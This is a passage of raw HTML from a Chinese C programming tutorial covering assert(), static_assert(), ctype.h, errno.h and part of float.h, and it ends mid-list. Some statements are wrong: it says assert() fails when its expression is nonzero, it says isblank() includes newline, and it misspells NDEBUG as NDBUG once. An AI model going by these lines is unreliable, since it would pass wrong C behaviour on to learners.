href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#assert\" class=\"headerlink\" title=\"assert()\"\u003e\u003c/a\u003eassert()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eassert.h\u003c/code\u003e头文件定义了宏\u003ccode\u003eassert()\u003c/code\u003e,用于在运行时确保程序符合指定条件,如果不符合,就报错终止运行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eassert(PI \u0026gt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码在程序运行到这一行语句时,验证变量是否\u003ccode\u003ePI\u003c/code\u003e大于3。如果确实大于3,程序继续运行,否则就会终止运行,并且给出报错信息提示。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eassert()\u003c/code\u003e宏接受一个表达式作为参数,如果表达式的返回值非零,\u003ccode\u003eassert()\u003c/code\u003e就会报错,在标准错误流\u003ccode\u003estderr\u003c/code\u003e中写入一条错误信息,显示没有通过的表达式,以及包含这个表达式的文件名和行号。最后,调用\u003ccode\u003eabort()\u003c/code\u003e函数终止程序(\u003ccode\u003eabort()\u003c/code\u003e函数的原型在\u003ccode\u003estdlib.h\u003c/code\u003e头文件中)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ez = x * x - y * y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eassert(z \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的\u003ccode\u003eassert()\u003c/code\u003e语句类似于下面的代码。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (z \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;z less than 0\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eabort\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果断言失败,程序会中断执行,会显示下面的提示。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eAssertion failed: (z \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e), function main, file /Users/assert.c, line \u003cspan class=\"number\"\u003e14.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面报错的格式如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eAssertion failed: [expression], function [abc], file [xyz], line [nnn].\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,方括号的部分使用实际数据替换掉。\u003c/p\u003e\u003cp\u003e使用 assert() 有几个好处:它不仅能自动标识文件和出问题的行号,还有一种无需更改代码就能开启或关闭 assert() 的机制。如果已经确认程序没有问题,不需要再做断言,就在\u003ccode\u003e#include \u0026lt;assert.h\u0026gt;\u003c/code\u003e语句的前面,定义一个宏\u003ccode\u003eNDEBUG\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e NDEBUG\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;assert.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,重新编译程序,编译器就会禁用文件中所有的 assert() 语句。如果程序又出现问题,可以移除这条\u003ccode\u003e#define NDBUG\u003c/code\u003e指令(或者把它注释掉),再次编译,这样就重新启用了 assert() 语句。\u003c/p\u003e\u003cp\u003eassert() 的缺点是,因为引入了额外的检查,增加了程序的运行时间。\u003c/p\u003e\u003ch3 id=\"static-assert\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#static-assert\" class=\"headerlink\" title=\"static_assert()\"\u003e\u003c/a\u003estatic_assert()\u003c/h3\u003e\u003cp\u003eC11 引入了静态断言\u003ccode\u003estatic_assert()\u003c/code\u003e,用于在编译阶段进行断言判断。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003estatic_assert\u003c/span\u003e(constant-expression, \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e-literal);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estatic_assert()\u003c/code\u003e接受两个参数,第一个参数\u003ccode\u003econstant-expression\u003c/code\u003e是一个常量表达式,第二个参数\u003ccode\u003estring-literal\u003c/code\u003e是一个提示字符串。如果第一个参数的值为false,会产生一条编译错误,第二个参数就是错误提示信息。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003estatic_assert\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) == \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;64-bit code generation is not supported.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码的意思是,如果当前计算机的\u003ccode\u003eint\u003c/code\u003e类型不等于4个字节,就会编译报错。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003estatic_assert()\u003c/code\u003e只在编译阶段运行,无法获得变量的值。如果对变量进行静态断言,就会导致编译错误。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003epositive\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003estatic_assert\u003c/span\u003e(n \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;value must \u0026gt; 0\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码会导致编译报错,因为编译时无法知道变量\u003ccode\u003en\u003c/code\u003e的值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic_assert()\u003c/code\u003e的好处是,尽量在编译阶段发现错误,避免运行时再报错,节省开发时间。另外,有些\u003ccode\u003eassert()\u003c/code\u003e断言位于函数之中,如果不执行该函数,就不会报错,而\u003ccode\u003estatic_assert()\u003c/code\u003e不管函数是否执行,都会进行断言判断。最后,\u003ccode\u003estatic_assert()\u003c/code\u003e不会生成可执行代码,所以不会造成任何运行时的性能损失。\u003c/p\u003e\u003ch2 id=\"ctype-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ctype-h\" class=\"headerlink\" title=\"ctype.h\"\u003e\u003c/a\u003ectype.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003ectype.h\u003c/code\u003e头文件定义了一系列字符处理函数的原型。\u003c/p\u003e\u003ch3 id=\"字符测试函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E6%B5%8B%E8%AF%95%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"字符测试函数\"\u003e\u003c/a\u003e字符测试函数\u003c/h3\u003e\u003cp\u003e这些函数用来判断字符是否属于某种类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eisalnum()\u003c/code\u003e:是否为字母数字\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisalpha()\u003c/code\u003e:是否为字母\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisdigit()\u003c/code\u003e:是否为数字\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisxdigit()\u003c/code\u003e:是否为十六进制数字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003eislower()\u003c/code\u003e:是否为小写字母\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisupper()\u003c/code\u003e:是否为大写字母\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisblank()\u003c/code\u003e:是否为标准的空白字符(包含空格、水平制表符或换行符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisspace()\u003c/code\u003e:是否为空白字符(空格、换行符、换页符、回车符、垂直制表符、水平制表符等)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eiscntrl()\u003c/code\u003e:是否为控制字符,比如 Ctrl + B\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisprint()\u003c/code\u003e:是否为可打印字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisgraph()\u003c/code\u003e:是否为空格以外的任意可打印字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003eispunct()\u003c/code\u003e:是否为标点符号(除了空格、字母、数字以外的可打印字符)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们接受一个待测试的字符作为参数。注意,参数类型为\u003ccode\u003eint\u003c/code\u003e,而不是\u003ccode\u003echar\u003c/code\u003e,因为它们允许 EOF 作为参数。\u003c/p\u003e\u003cp\u003e如果参数字符属于指定类型,就返回一个非零整数(通常是\u003ccode\u003e1\u003c/code\u003e,表示为真),否则返回\u003ccode\u003e0\u003c/code\u003e(表示为伪)。\u003c/p\u003e\u003cp\u003e下面是一个例子,用户输入一个字符,程序判断是否为英文字母。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;ctype.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e ch = getchar();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eisalpha\u003c/span\u003e(ch))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;it is an alpha character.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;it is not an alpha character.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"字符映射函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E6%98%A0%E5%B0%84%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"字符映射函数\"\u003e\u003c/a\u003e字符映射函数\u003c/h3\u003e\u003cp\u003e这一类函数返回字符的某种对应形式,主要有两个函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003etolower()\u003c/code\u003e:如果参数是大写字符,返回小写字符,否则返回原始参数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003etoupper()\u003c/code\u003e:如果参数是小写字符,返回大写字符,否则返回原始参数。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 将字符转为大写\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ech = \u003cspan class=\"built_in\"\u003etoupper\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,这两个函数不会改变原始字符。\u003c/p\u003e\u003ch2 id=\"errno-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#errno-h\" class=\"headerlink\" title=\"errno.h\"\u003e\u003c/a\u003eerrno.h\u003c/h2\u003e\u003ch3 id=\"errno-变量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#errno-%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"errno 变量\"\u003e\u003c/a\u003eerrno 变量\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eerrno.h\u003c/code\u003e声明了一个 int 类型的 errno 变量,用来存储错误码(正整数)。\u003c/p\u003e\u003cp\u003e如果这个变量有非零值,表示已经执行的程序发生了错误。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerrno = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e y = \u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (errno != \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;sqrt error; program terminated.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,计算一个负值的平方根是不允许的,会导致\u003ccode\u003eerrno\u003c/code\u003e不等于\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果要检查某个函数是否发生错误,必须在即将调用该函数之前,将\u003ccode\u003eerrno\u003c/code\u003e的值置为0,防止其他函数改变\u003ccode\u003eerrno\u003c/code\u003e的值。\u003c/p\u003e\u003ch3 id=\"宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AE%8F\" class=\"headerlink\" title=\"宏\"\u003e\u003c/a\u003e宏\u003c/h3\u003e\u003cp\u003e变量\u003ccode\u003eerrno\u003c/code\u003e的值通常是两个宏\u003ccode\u003eEDOM\u003c/code\u003e或\u003ccode\u003eERANGE\u003c/code\u003e。这两个宏都定义在\u003ccode\u003eerrno.h\u003c/code\u003e。它们表示调用数学函数时,可能发生的两种错误。\u003c/p\u003e\u003cul\u003e\u003cli\u003e定义域错误(EDOM):传递给函数的一个参数超出了函数的定义域。例如,负数传入\u003ccode\u003esqrt()\u003c/code\u003e作为参数。\u003c/li\u003e\u003cli\u003e取值范围错误(ERANGE):函数的返回值太大,无法用返回类型表示。例如,1000 传入\u003ccode\u003eexp()\u003c/code\u003e作为参数,因为 e^1000 太大,无法使用 double 类型表示。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e使用数学函数时,可以将\u003ccode\u003eerrno\u003c/code\u003e的值与 EDOM 和 ERANGE 比较,用来确定到底发生了哪一类错误。\u003c/p\u003e\u003ch2 id=\"float-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#float-h\" class=\"headerlink\" title=\"float.h\"\u003e\u003c/a\u003efloat.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003efloat.h\u003c/code\u003e定义了浮点数类型 float、double、long double 的一些宏,规定了这些类型的范围和精度。\u003c/p\u003e\u003cp\u003e(1) \u003ccode\u003eFLT_ROUNDS\u003c/code\u003e\u003c/p\u003e\u003cp\u003e宏\u003ccode\u003eFLT_ROUNDS\u003c/code\u003e表示当前浮点数加法的四舍五入方向。\u003c/p\u003e\u003cp\u003e它有以下可能的值。\u003c/p\u003e\u003cul\u003e\u003cli\u003e-1:不确定。\u003c/li\u003e\u003cli\u003e0:向零舍入。\u003c/li\u003e\u003cli\u003e1:向最近的整数舍入。\u003c/li\u003e\u003cli\u003e2:向正无穷方向舍入。\u003c/li\u003e\u003cli\u003e3:向负无穷方向舍入。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e(2)\u003ccode\u003eFLT_RADIX\u003c/code\u003e\u003c/p\u003e\u003cp\u003e宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e表示科学计数法的指数部分的底(base),一般总是2。\u003c/p\u003e\u003cp\u003e(3)浮点数类型的最大值\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eFLT_MAX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDBL_MAX\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\